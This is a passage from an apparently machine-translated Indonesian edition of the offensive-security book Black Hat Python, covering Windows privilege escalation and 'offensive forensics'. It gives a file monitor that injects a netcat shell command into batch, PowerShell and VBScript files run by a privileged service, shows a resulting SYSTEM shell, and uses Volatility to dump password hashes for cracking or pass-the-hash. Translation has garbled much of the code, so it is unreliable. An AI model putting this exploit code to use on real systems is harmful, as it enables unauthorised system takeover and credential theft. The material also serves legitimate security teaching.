membuat file, kita harus dapat memasukkan kode kita sendiri ke dalam file sebelum
proses dijalankan dan menghapusnya. Triknya ada pada Windows API
ReadDirectoryChangesW yang berguna, yang memungkinkan kita memantau direktori
untuk setiap perubahan pada file atau subdirektori. Kami juga dapat memfilter kejadian
ini sehingga kami dapat menentukan kapan file telah disimpan. Dengan begitu, kita
dapat dengan cepat memasukkan kode kita ke dalamnya sebelum dieksekusi. Anda
mungkin merasa sangat berguna untuk mengawasi semua direktori sementara selama
jangka waktu 24 jam atau lebih; terkadang, Anda akan menemukan bug atau
pengungkapan informasi yang menarik selain potensi peningkatan hak istimewa.
Mari kita mulai dengan membuat monitor file. Kami kemudian akan mengembangkannya untuk mengotomatiskan
cukup menyuntikkan kode. Simpan file baru bernama file_monitor.py dan selesaikan
yang berikut ini:

# Contoh modifikasi yang awalnya diberikan di sini:


# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.
html
impor mereka
impor file temp
impor threading
impor win32con
impor file win32

FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

FILE_LIST_DIRECTORY = 0x0001
1 JALUR = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]

def monitor(path_to_watch):
2 h_directory = win32file.CreateFile(
jalur_ke_tonton,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE |
win32con.FILE_SHARE_DELETE,
Tidak ada,

win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,

162 Bab 10
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Tidak ada

) sementara Benar:

coba:
3 hasil = win32file.ReadDirectoryChangesW( h_directory, 1024, True,

win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_ CHANGE_SECURITY
|.win32con.FILE_NOTIFY_CHANGE_SIZE, Tidak
Ada,
Tidak Ada

)
4 untuk tindakan, nama file dalam hasil: full_filename
= os.path.join(path_to_watch, file_name) if action == FILE_CREATED:
print(f'[+] Dibuat {full_filename}') elif
action == FILE_DELETED: print(f'[ -] Menghapus
{full_filename}') elif action ==
FILE_MODIFIED: print(f'[*] Memodifikasi
{full_filename}') coba: print('[vvv]
Membuang konten ... ')

5 dengan open(full_filename) sebagai f: isi =


f.read() print(isi) print('[^^^]
Dump selesai.')
kecuali Pengecualian sebagai e: print(f'[!!!]
Dump gagal. {e}')

elif action == FILE_RENAMED_FROM: print(f'[>]


Berganti nama dari {full_filename}') elif action ==
FILE_RENAMED_TO: print(f'[<] Berganti
nama menjadi {full_filename}') else:

print(f'[?] Tindakan tidak diketahui pada {full_filename}') kecuali


Pengecualian: lulus

if __name__ == '__main__': untuk


jalur di PATHS:
monitor_thread = threading.Thread(target=monitor, args=(path,)) monitor_thread.start()

Kami menentukan daftar direktori yang ingin kami pantau 1, yang ada di direktori kami
case adalah dua direktori file sementara yang umum. Anda mungkin ingin mengawasi
tempat lain, jadi edit daftar ini sesuai keinginan Anda.
Untuk masing-masing jalur ini, kami akan membuat thread pemantauan yang memanggil fungsi
start_monitor . Tugas pertama dari fungsi ini adalah mendapatkan pegangan ke direktori yang ingin kita pantau 2.
Kita kemudian memanggil ReadDirectoryChangesW

Peningkatan Hak Istimewa Windows 163


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

fungsi 3, yang memberi tahu kita ketika terjadi perubahan. Kami menerima nama file
dari file target yang diubah dan jenis peristiwa yang terjadi4.
Dari sini, kami mencetak informasi berguna tentang apa yang terjadi pada file tertentu, dan
jika kami mendeteksi bahwa file tersebut telah dimodifikasi, kami membuang konten file
tersebut untuk referensi 5.

Menendang Ban
Buka shell cmd.exe dan jalankan file_monitor.py:

C:\Users\tim\work> file python.exe_monitor.py

Buka shell cmd.exe kedua dan jalankan perintah berikut:

C:\Users\tim\work> cd C:\Windows\temp
C:\Windows\Temp> echo halo > filetest.bat
C:\Windows\Temp> ganti nama filetest.bat file2test
C:\Windows\Temp> del file2test

Anda akan melihat output seperti berikut:

[+] Dibuat c:\WINDOWS\Temp\filetest.bat


[*] Dimodifikasi c:\WINDOWS\Temp\filetest.bat
[vvv] Membuang isinya...
Halo

[^^^] Pembuangan selesai.


[>] Berganti nama dari c:\WINDOWS\Temp\filetest.bat
[<] Berganti nama menjadi c:\WINDOWS\Temp\file2test
[-] Dihapus c:\WINDOWS\Temp\file2test

Jika semuanya telah berjalan sesuai rencana, kami menganjurkan Anda untuk
tetap menjalankan monitor file Anda selama 24 jam pada sistem target. Anda mungkin
terkejut melihat file dibuat, dieksekusi, dan dihapus. Anda juga dapat menggunakan
skrip pemantauan proses untuk mencari jalur file tambahan yang menarik untuk
dipantau. Pembaruan perangkat lunak mungkin menjadi perhatian khusus.
Mari tambahkan kemampuan untuk memasukkan kode ke dalam file ini.

Injeksi Kode
Sekarang kami dapat memantau proses dan lokasi file, kami akan secara otomatis
memasukkan kode ke dalam file target. Kita akan membuat cuplikan kode yang sangat
sederhana yang menghasilkan versi kompilasi alat netcat.py dengan tingkat hak istimewa
layanan asal. Ada banyak hal buruk yang dapat Anda lakukan dengan file VBScript,
batch, dan PowerShell ini. Kami akan membuat kerangka umum, dan Anda dapat menjadi
liar dari sana. Ubah skrip file_monitor.py dan tambahkan kode berikut setelah konstanta
modifikasi file:

NETCAT = 'c:\\users\\tim\\work\\netcat.exe'
TGT_IP = '192.168.1.208'
'
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c

164 Bab 10
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kode yang akan kita masukkan akan menggunakan konstanta berikut: TGT_IP adalah alamat IP
korban (kotak Windows tempat kita memasukkan kode) dan TGT_PORT adalah port yang akan kita
sambungkan. Variabel NETCAT memberikan lokasi pengganti Netcat yang kita kodekan di Bab 2. Jika Anda
belum membuat executable dari kode tersebut, Anda dapat melakukannya sekarang:

C:\Users\tim\netcat> pyinstaller -F netcat.py

Kemudian letakkan file netcat.exe yang dihasilkan ke dalam direktori Anda dan pastikan variabel
NETCAT mengarah ke file yang dapat dieksekusi tersebut.
Perintah yang akan dieksekusi oleh kode yang kita masukkan akan menghasilkan perintah terbalik.
cangkang mand:

1 FILE_TYPES = {
'.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
'.ps1': ["\r\n#bhpmarker\r\n", f'\r\nMulai-Proses "{CMD}"\r\n'],
'.vbs': ["\r\n'bhpmarker\r\n",
f'\r\nCreateObject("Wscript.Shell").Jalankan("{CMD}")\r\n'],
}

def inject_code(nama_file lengkap, isi, ekstensi):


2 jika FILE_TYPES[ekstensi][0].strip() dalam konten:
kembali

3 isi_lengkap = FILE_TYPES[ekstensi][0]
full_contents += FILE_TYPES[ekstensi][1]
full_contents += isi
dengan open(nama file_lengkap, 'w') sebagai f:
f.tulis(isi_lengkap)
print('\\o/ Kode yang Diinjeksikan')

Kita mulai dengan mendefinisikan kamus cuplikan kode yang cocok dengan ekstensi file tertentu 1.
Cuplikan tersebut menyertakan penanda unik dan kode yang ingin kita masukkan. Alasan kami menggunakan
penanda adalah untuk menghindari loop tak terbatas di mana kami melihat modifikasi file, memasukkan kode
kami, dan menyebabkan program mendeteksi tindakan ini sebagai peristiwa modifikasi file. Jika dibiarkan,
siklus ini akan berlanjut hingga file menjadi sangat besar dan hard drive mulai menangis. Sebaliknya, program
akan memeriksa penanda tersebut dan, jika menemukannya, program akan mengetahui untuk tidak
mengubah file tersebut untuk kedua kalinya.

Selanjutnya, fungsi inject_code menangani injeksi kode aktual dan pemeriksaan penanda file. Setelah
kami memverifikasi bahwa penanda tidak ada 2, kami menulis penanda dan kode yang kami inginkan untuk
menjalankan proses target 3. Sekarang kami perlu memodifikasi loop acara utama kami untuk menyertakan
pemeriksaan ekstensi file dan panggilan ke inject_code:

--menggunting--

tindakan elif == FILE_MODIFIED:


1 ekstensi = os.path.splitext(nama file_lengkap)[1]

2 jika ekstensi di FILE_TYPES:


print(f'[*] Dimodifikasi {full_filename}')
print('[vvv] Membuang isi ... ')

Peningkatan Hak Istimewa Windows 165


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

mencoba:

dengan terbuka (nama_file lengkap) sebagai f:


isi = f.baca()
# KODE BARU

inject_code(nama_file lengkap, isi, ekstensi)


mencetak (isi)
print('[^^^] Pembuangan selesai.')
kecuali Pengecualian sebagai e:
print(f'[!!!] Pembuangan gagal. {e}')
--menggunting--

Ini adalah tambahan yang cukup mudah pada loop utama. Kami melakukan pemisahan
cepat pada ekstensi file 1 dan kemudian memeriksanya dengan kamus jenis file yang dikenal 2.
Jika ekstensi file terdeteksi dalam kamus, kami memanggil fungsi inject_code . Mari kita coba.

Menendang Ban
Jika Anda menginstal bhservice di awal bab ini, Anda dapat dengan mudah menguji injektor
kode baru Anda yang mewah. Pastikan layanan berjalan dan kemudian jalankan skrip
file_monitor.py Anda . Pada akhirnya, Anda akan melihat keluaran yang menunjukkan bahwa
file .vbs telah dibuat dan dimodifikasi dan kode tersebut telah dimasukkan. Dalam contoh berikut,
kami telah mengomentari pencetakan konten untuk menghemat ruang:

[*] Dimodifikasi c:\Windows\Temp\bhservice_task.vbs


[vvv] Membuang isinya...
\o/ Kode yang Disuntikkan
[^^^] Pembuangan selesai.

Jika Anda membuka jendela cmd baru, Anda akan melihat bahwa port target terbuka:

c:\Pengguna\tim\kerja> netstat -an |findstr 9999


TCP 192.168.1.208:9999 0.0.0.0:0 MENDENGARKAN

Jika semuanya berjalan lancar, Anda dapat menggunakan perintah nc atau menjalankan
skrip netcat.py dari Bab 2 untuk menghubungkan pendengar yang baru saja Anda buat. Untuk
memastikan eskalasi hak istimewa Anda berhasil, sambungkan ke pendengar dari mesin Kali Anda
dan periksa pengguna mana yang Anda jalankan sebagai:

$nc-nv 192.168.1.208 9999


Koneksi ke 192.168.1.208 port 9999 [tcp/*] berhasil!
#> whoami
bukan otoritas\sistem
#> keluar

Ini seharusnya menunjukkan bahwa Anda telah memperoleh hak istimewa dari yang suci
akun SISTEM. Injeksi kode Anda berhasil.

166 Bab 10
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Anda mungkin telah mencapai akhir bab ini dengan berpikir bahwa beberapa serangan
ini agak esoteris. Namun jika Anda menghabiskan cukup waktu di dalam perusahaan besar,
Anda akan menyadari bahwa taktik ini cukup bisa dilakukan. Anda dapat dengan mudah
memperluas peralatan dalam bab ini, atau mengubahnya menjadi skrip khusus untuk menyusupi
akun atau aplikasi lokal. WMI sendiri dapat menjadi sumber data pengintaian lokal yang sangat
baik; itu dapat memungkinkan Anda untuk melancarkan serangan lebih lanjut setelah Anda
berada di dalam jaringan. Peningkatan hak istimewa adalah bagian penting dari trojan yang baik.

Peningkatan Hak Istimewa Windows 167


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

11
FORENSIK OFENSIF

Orang-orang forensik sering kali adalah orang-orang yang dipanggil


setelah pelanggaran, atau untuk menentukan apakah suatu “insiden”

penyok” telah terjadi sama sekali. Mereka biasanya menginginkan

snapshot dari RAM mesin yang terpengaruh untuk menangkap kunci

kriptografi atau informasi lain yang hanya ada di memori. Beruntung bagi mereka,

tim pengembang berbakat telah menciptakan seluruh kerangka kerja Python yang

disebut Volatilitas yang cocok untuk tugas ini dan disebut sebagai kerangka kerja

forensik memori tingkat lanjut. Responden insiden, pemeriksa forensik, dan analis

malware juga dapat menggunakan Volatilitas untuk berbagai tugas lainnya, termasuk

memeriksa objek kernel, memeriksa dan membuang proses, dan sebagainya.


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Meskipun Volatilitas adalah perangkat lunak untuk sisi pertahanan, alat apa pun yang
cukup kuat dapat digunakan untuk menyerang atau bertahan. Kami akan menggunakan
Volatilitas untuk melakukan pengintaian pada pengguna target dan menulis plug-in ofensif kami
sendiri untuk mencari proses dengan pertahanan lemah yang berjalan pada mesin virtual (VM).
Misalkan Anda menyusup ke mesin dan menemukan bahwa pengguna menggunakan
VM untuk pekerjaan sensitif. Kemungkinan besar pengguna juga telah membuat snapshot
VM sebagai jaring pengaman jika terjadi kesalahan. Kami akan menggunakan kerangka
analisis memori Volatilitas untuk menganalisis snapshot guna mengetahui bagaimana VM
digunakan dan proses apa yang sedang berjalan. Kami juga akan menyelidiki kemungkinan
kerentanan yang dapat kami manfaatkan untuk eksploitasi lebih lanjut.
Mari kita mulai!

Instalasi
Volatilitas telah ada selama beberapa tahun dan baru saja mengalami perubahan total. Tidak
hanya basis kode yang sekarang didasarkan pada Python 3, namun seluruh kerangka kerja
telah difaktorkan ulang sehingga komponen-komponennya independen; semua status yang
diperlukan untuk menjalankan plug-in bersifat mandiri.
Mari ciptakan lingkungan virtual hanya untuk pekerjaan kita dengan Volatilitas. Untuk
contoh ini, kami menggunakan Python 3 pada mesin Windows di terminal PowerShell. Jika Anda
juga bekerja dari mesin Windows, pastikan Anda telah menginstal git . Anda dapat
mengunduhnya di https:// git-scm.com/ downloads/.

1 PS> python3 -m venv vol3


PS> vol3/Scripts/Activate.ps1
PS> cd vol3/
2 PS> git clone https://github.com/volatilityfoundation/volatility3.git
PS> cd volatilitas3/
PS> python setup.py instal
3 PS> pip instal pycryptodome

Pada 1, kami membuat lingkungan virtual baru yang disebut vol3 dan mengaktifkan
dia. Selanjutnya, kita pindah ke direktori lingkungan virtual dan mengkloning repo GitHub
Volatility 3 2, menginstalnya ke lingkungan virtual, dan terakhir menginstal pycryptodome
3, yang akan kita perlukan nanti.
Untuk melihat plug-in yang ditawarkan Volatilitas, serta daftar opsi, gunakan
perintah berikut di Windows:

PS> jilid --membantu

Di Linux atau Mac, gunakan Python yang dapat dieksekusi dari lingkungan virtual, sebagai
berikut:

$> python vol.py --membantu

Dalam bab ini, kita akan menggunakan Volatilitas dari baris perintah, tetapi tetap di sana
Ada berbagai cara Anda mungkin menemukan kerangka kerja tersebut. Misalnya, lihat
proyek Volumetrik dari Volatility, GUI berbasis web gratis untuk volatil-ity (https://
github.com/ volatilityfoundation/ volumetric/). Anda dapat menggali contoh kode di proyek
Volumetrik untuk melihat bagaimana Anda dapat menggunakan Volatilitas

170 Bab 11
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

program Anda sendiri. Selain itu, Anda dapat menggunakan antarmuka volshell , yang
memberi Anda akses ke kerangka Volatilitas dan berfungsi sebagai shell Python interaktif
biasa.
Pada contoh berikut, kita akan menggunakan baris perintah Volatilitas. Untuk
menghemat ruang, keluaran telah diedit agar hanya menampilkan keluaran yang dibahas, jadi
ketahuilah bahwa keluaran Anda akan memiliki lebih banyak baris dan kolom.
Sekarang mari kita mempelajari beberapa kode dan melihat ke dalam frameworknya:

PS> cd volatilitas/kerangka kerja/plugin/windows/


PS> ls
_init__.py drivercan.py memmap.py psscan.py vadinfo.py
bigpools.py filescan.py modscan.py pstree.py vadyarascan.py
cachedump.py handles.py modul.py registri/verinfo.py
callbacks.py hashdump.py mutanscan.py ssdt.py virtmap.py
cmdline.py info.py string.py netscan.py
dlllist.py lsadump.py poolscanner.py svcscan.py
driverirp.py malfind.py pslist.py symlinkscan.py

Daftar ini menunjukkan file Python di dalam direktori plugin Windows .


Kami sangat menganjurkan Anda meluangkan waktu untuk melihat kode di file ini. Anda
akan melihat pola berulang yang membentuk struktur plugin Volatilitas. Hal ini akan
membantu Anda memahami kerangka kerja tersebut, namun yang lebih penting, hal ini
akan memberi Anda gambaran tentang pola pikir dan niat seorang pembela HAM. Dengan
mengetahui kemampuan para pembela HAM dan bagaimana mereka mencapai
tujuannya, Anda akan menjadikan diri Anda seorang peretas yang lebih cakap dan lebih
memahami cara melindungi diri Anda dari deteksi.
Sekarang kita telah menyiapkan kerangka analisis, kita memerlukan sejumlah memori
gambar untuk dianalisis. Cara termudah untuk mendapatkannya adalah dengan mengambil
snapshot dari mesin virtual Windows 10 Anda sendiri.

Pertama, nyalakan VM Windows Anda dan mulai beberapa proses (misalnya,


notepad, kalkulator, dan browser); kami akan memeriksa memori dan melacak bagaimana
proses ini dimulai. Kemudian, ambil snapshot Anda menggunakan hypervisor pilihan Anda.
Di direktori tempat hypervisor menyimpan VM, Anda akan melihat file snapshot baru
dengan nama yang diakhiri dengan .vmem atau .mem. Mari kita mulai melakukan
pengintaian!
Perhatikan bahwa Anda juga dapat menemukan banyak gambar memori online. Satu
gambar yang akan kita lihat dalam bab ini disediakan oleh PassMark Software di https:// www
.osforensics.com/ tools/ volatility-workbench.html/. Situs Volatility Foundation juga memiliki
beberapa gambar untuk dimainkan di https:// github.com/ volatilityfoundation/
volatilitas/ wiki/ Sampel-Memori/.

Pengintaian Umum
Mari kita lihat gambaran umum mesin yang sedang kita analisis. Plug-in windows.info
menampilkan informasi sistem operasi dan kernel dari sampel memori:

1 PS>vol -f WinDev2007Eval-Snapshot4.vmem windows.info


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 33.01 Memindai primer2 menggunakan PdbSignatureScanner

Forensik Ofensif 171


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Variabel Nilai

Basis Kernel 0xf80067a18000


DTB 0x1aa000
primer 0 WindowsIntel32e
lapisan_memori 1 Lapisan File
KdVersionBlock 0xf800686272f0
Mayoritas Minoritas 15.19041
Tipe Mesin 34404
Prosesor KeNumber 1
Waktu Sistem 04-09-2020 00:53:46
NtProductType NtProductWinNt
NtMajorVersi 10
NtMinorVersi 0
PE MajorOperatingSystemVersi 10
PE MinorOperatingSystemVersi 0
Mesin PE 34404

Kami menentukan nama file snapshot dengan tombol -f dan plug-in Windows
yang akan digunakan, windows.info 1. Volatilitas membaca dan menganalisis file memori
dan mengeluarkan informasi umum tentang mesin Windows ini. Kita dapat melihat
bahwa kita sedang berhadapan dengan VM Windows 10.0 dan ia memiliki satu
prosesor dan satu lapisan memori.
Anda mungkin merasa perlu untuk mencoba beberapa plug-in pada file gambar
memori sambil meninjau kode plug-in. Menghabiskan waktu membaca kode dan
melihat keluaran yang sesuai akan menunjukkan kepada Anda bagaimana kode
tersebut seharusnya bekerja serta pola pikir umum para pembela HAM.
Selanjutnya, dengan plug-in registry.printkey , kita dapat mencetak nilai kunci di
registri. Ada banyak sekali informasi dalam registri, dan Volatilitas menyediakan cara
untuk menemukan nilai apa pun yang kita inginkan. Di sini, kami mencari layanan yang diinstal.
Kunci /ControlSet001/ Services memperlihatkan database Service Control Manager, yang
mencantumkan semua layanan yang diinstal:

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.registry.printkey --key 'ControlSet001\Services'


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 33.01 ... Memindai primer2 menggunakan PdbSignatureScanner
Kunci Volatil Nama Data
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services .NET CLR Data Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services Appinfo Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services applockerfltr Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services AtomicAlarmClock Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services Bip Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services fastfat Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services MozillaMaintenance Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services NTDS Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services Ntfs Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services ShellHWDetection Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services SQLWriter Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services Tcpip Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services Tcpip6 Salah
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services terminpt Salah

172 Bab 11
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services W32Time PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services WaaSMedicSvc PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services WacomPen PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services Winsock PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services WinSock2 PALSU
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Layanan WINUSB PALSU

Output ini menunjukkan daftar layanan yang diinstal pada mesin (disingkat spasi).

Pengintaian Pengguna
Sekarang mari kita lakukan pengintaian pada pengguna VM. Plug-in cmdline mencantumkan
argumen baris perintah untuk setiap proses saat proses tersebut berjalan pada saat snapshot dibuat.
Proses ini memberi kita petunjuk mengenai perilaku dan niat pengguna.

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.cmdline


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 33.01 Argumen Memindai primer2 menggunakan PdbSignatureScanner
Proses PID

72 Registri Memori yang diperlukan pada 0x20 tidak valid (proses keluar?)
340 smss.exe Memori yang diperlukan pada 0xa5f1873020 tidak dapat diakses (ditukar)
564 lsass.exe C:\Windows\system32\lsass.exe
624 winlogon.exe winlogon.exe
2160 MsMpEng.exe "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\
MsMpEng.exe"
explorer.exe 4732 C:\Windows\Explorer.EXE
svchost.exe 4848 dllhost.exe C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p
C:\Windows\system32\DllHost.exe /Prosesid:{AB8902B4-09CA-4BB6-B78D-
4920A8F59079A8D5}
5084 StartMenuExper "C:\Windows\SystemApps\Microsoft.Windows. . ."
5388 MicrosoftEdge. "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_. . ."
6452 / OneDrive.exe "C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
latar belakang
6484 FreeDesktopClo "C:\Program Files\Jam Desktop Gratis\FreeDesktopClock.exe"
7092 cmd.exe "C:\Windows\system32\cmd.exe" 1
3312 notepad.exe notepad 2
3824 powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
6448 Kalkulator.exe "C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_. . ."
6684 firefox.exe "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
6432 PowerToys.exe "C:\Program Files\PowerToys\PowerToys.exe"
7124 nc64.exe Memori yang diperlukan pada 0x2d7020 tidak dapat diakses (ditukar)
3324 smartscreen.ex C:\Windows\System32\smartscreen.exe -Penyematan
4768 ipconfig.exe Memori yang diperlukan pada 0x840308e020 tidak valid (proses keluar?)

Daftar tersebut memperlihatkan ID proses, nama proses, dan baris perintah dengan argumen
yang memulai proses. Anda dapat melihat bahwa sebagian besar proses dimulai oleh sistem itu
sendiri, kemungkinan besar pada saat boot. Proses cmd.exe 1 dan notepad.exe 2 adalah
proses umum yang akan dimulai oleh pengguna.

Forensik Ofensif 173


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Mari selidiki proses yang sedang berjalan sedikit lebih dalam dengan plugin
pslist , yang berisi daftar proses yang sedang berjalan pada saat snapshot:

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.pslist


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 33.01 Memindai primer2 menggunakan PdbSignatureScanner
PID PPID ImageFileName Offset(V) Thread Menangani SessionId Wow64

4 0 0xa50bb3e6d040 129 - PALSU


Registri T/A
72 4 0xa50bb3fbd080 4 - PALSU
Sistem T/A
6452 4732 OneDrive.exe 0xa50bb4d62080 25 - 1 BENAR

6484 4732 - 1 PALSU


FreeDesktopClo 0xa50bbb847300 1
6212 556 - 0 PALSU
SgrmBroker.exe 0xa50bbb832080 6 svchost.exe
1636 556 0xa50bbadbe340 8 cmd.exe 0xa50bbbc 4d080 - 0 PALSU
7092 4732 1 0xa50bbb69a080 3 - 1 PALSU
3312 7092 - 1 PALSU
notepad.exe
3824 4732 - 1 PALSU
powershell.exe 0xa50bbb92d080 11 Kalkulator.exe
6448 704 0xa50bb4d0d0c0 21 firefox.exe - 1 PALSU
4036 6684 0xa50bbb178080 0 - 1 BENAR

6432 4732 - 1 PALSU


PowerToys.exe 0xa50bb4d5a2c0 14
4052 4700 PowerLauncher. 0xa50bb7fd3080 16 - 1 PALSU
5340 6432 Microsoft.Powe 0xa50bb736f080 15 python-3.8.6- - 1 PALSU
8564 4732 - 1 BENAR
a 0xa50bb7bc2080 1 0xa50bbab89080 1
7124 7092 nc64.exe smartscreen.ex - 1 PALSU
3324 704 0xa50bb4d6a080 7 cmd.exe 0xa50bbd8a8080 - 1 PALSU
7364 4732 1 cmd.exe 0 xa50bb78d9080 0 0xa50bba7bd080 - 1 PALSU
8916 2136 0 - 0 PALSU
4768 8916 - 0 PALSU
ipconfig.exe

Di sini kita melihat proses sebenarnya dan offset memorinya. Beberapa kolom
dihilangkan demi spasi. Beberapa proses menarik dicantumkan, termasuk proses cmd dan
notepad yang kita lihat di output dari cmdline
plugin.
Akan menyenangkan untuk melihat proses sebagai hierarki, sehingga kita dapat mengetahui apa itu
proses memulai proses lainnya. Untuk itu, kami akan menggunakan plugin pstree :

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.pstree

Volatilitas 3 Kerangka 1.2.0-beta.1


Kemajuan: 33.01 Memindai primer2 menggunakan PdbSignatureScanner
PID PPID N/A Offset NamaFile Gambar(V) Utas Menangani SessionId Wow64
0
Sistem 0xa50bba7bd080 129 Salah
4 * 556 492 ** services.exe 0xa50bba7bd080 Salah 8 0 wlms.exe
2176 556 ** 1796 0xa50bba7bd080 Salah 0
556 ** 776 556 ** 2 svchost.exe 0xa50bba7bd080 13 Salah 0
8 556 *** 4556 8 svchost.exe 0xa50bba7bd080 15 Salah 0
*** 5388 704 *** svchost.exe 0xa50bba7bd080 18 Salah 0
6448 704 3324 ctfmon.exe 0xa50bba7bd080 10 Salah 1
704 MicrosoftEdge. 0xa50bba7bd080 35 Salah 1
Kalkulator.exe 0xa50bba7bd080 21 Salah 1
*** smartscreen.ex 0xa50bba7bd080 Salah 7 1

174 Bab 11
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
**2136 556 *** vmtoolsd.exe 0xa50bba7bd080 11 cmd.exe 0 PALSU
8916 2136 **** ipconfig.exe 0xa50bba7bd080 0 0 PALSU
4768 8916 0xa50bba7bd080 0 0 PALSU

* 4704 624 penggunainit.exe 0xa50bba7bd080 0 1 Salah


** 4732 4704 explorer.exe 0xa50bba7bd080 92 1 Salah
*** 6432 4732 PowerToys.exe 0xa50bba7bd080 14 1 Salah
**** 5340 6432 Microsoft.Powe 0xa50bba7bd080 15 1 Salah
*** 7364 4732 cmd.exe 0xa50bba7bd080 1 - Salah
**** 2464 7364 conhost.exe 0xa50bba7bd080 4 1 Salah
*** 7092 4732 cmd.exe 0xa50bba7bd080 1 - Salah
**** 3312 7092 notepad.exe 0xa50bba7bd080 3 1 Salah
**** 7092 nc64.exe 0xa50bba7bd080 1 1 Salah
4732 python-3.8.6-a 0xa50bba7bd080 1 python-3.8.6- 1 Benar
7124***8564****1036 8564 a 0xa50bba7bd080 5 1 Benar

Sekarang kita mendapatkan gambaran yang lebih jelas. Tanda bintang di setiap baris menunjukkan
hubungan induk-anak dari proses tersebut. Misalnya, proses userinit (PID 4704) melahirkan proses
explorer.exe . Begitu pula dengan explorer.exe
proses (PID 4732) memulai proses cmd.exe (PID 7092). Dari proses itu, pengguna memulai notepad.exe
dan proses lain yang disebut nc64.exe.
Sekarang mari kita periksa kata sandi dengan plugin hashdump :

PS> vol -f WinDev2007Eval-7d959ee5.vmem windows.hashdump


Volatilitas 3 Kerangka 1.2.0-beta.1
Kemajuan: 33.01 Pengguna Memindai primer2 menggunakan PdbSignatureScanner
menyingkirkan lmhash nthash

Administrator 500 aad3bXXXXXXaad3bXXXXXX fc6eb57eXXXXXXXXXXX657878


Tamu 501 aad3bXXXXXXaad3bXXXXXX 1d6cfe0dXXXXXXXXXXXc089c0
Akun Default 503 aad3bXXXXXXaad3bXXXXXX 1d6cfe0dXXXXXXXXXXXc089c0
Akun WDAGUtility 504 aad3bXXXXXXaad3bXXXXXX ed66436aXXXXXXXXXXX1bb50f
Pengguna 1001 tim admin aad3bXXXXXXaad3bXXXXXX 31d6cfe0XXXXXXXXXXXc089c0
1002 aad3bXXXXXXaad3bXXXXXX afc6eb57XXXXXXXXXXX657878
1003 aad3bXXXXXXaad3bXXXXXX afc6eb57XXXXXXXXXXX657878

Outputnya menunjukkan nama pengguna akun dan hash LM dan NT dari kata sandinya.
Memulihkan hash kata sandi pada mesin Windows setelah penetrasi adalah tujuan umum
penyerang. Hash ini dapat di-crack secara offline dalam upaya memulihkan kata sandi
target, atau dapat digunakan dalam serangan pass-the-hash untuk mendapatkan akses ke
sumber daya jaringan lainnya.
Baik targetnya adalah pengguna paranoid yang melakukan operasi berisiko tinggi hanya pada
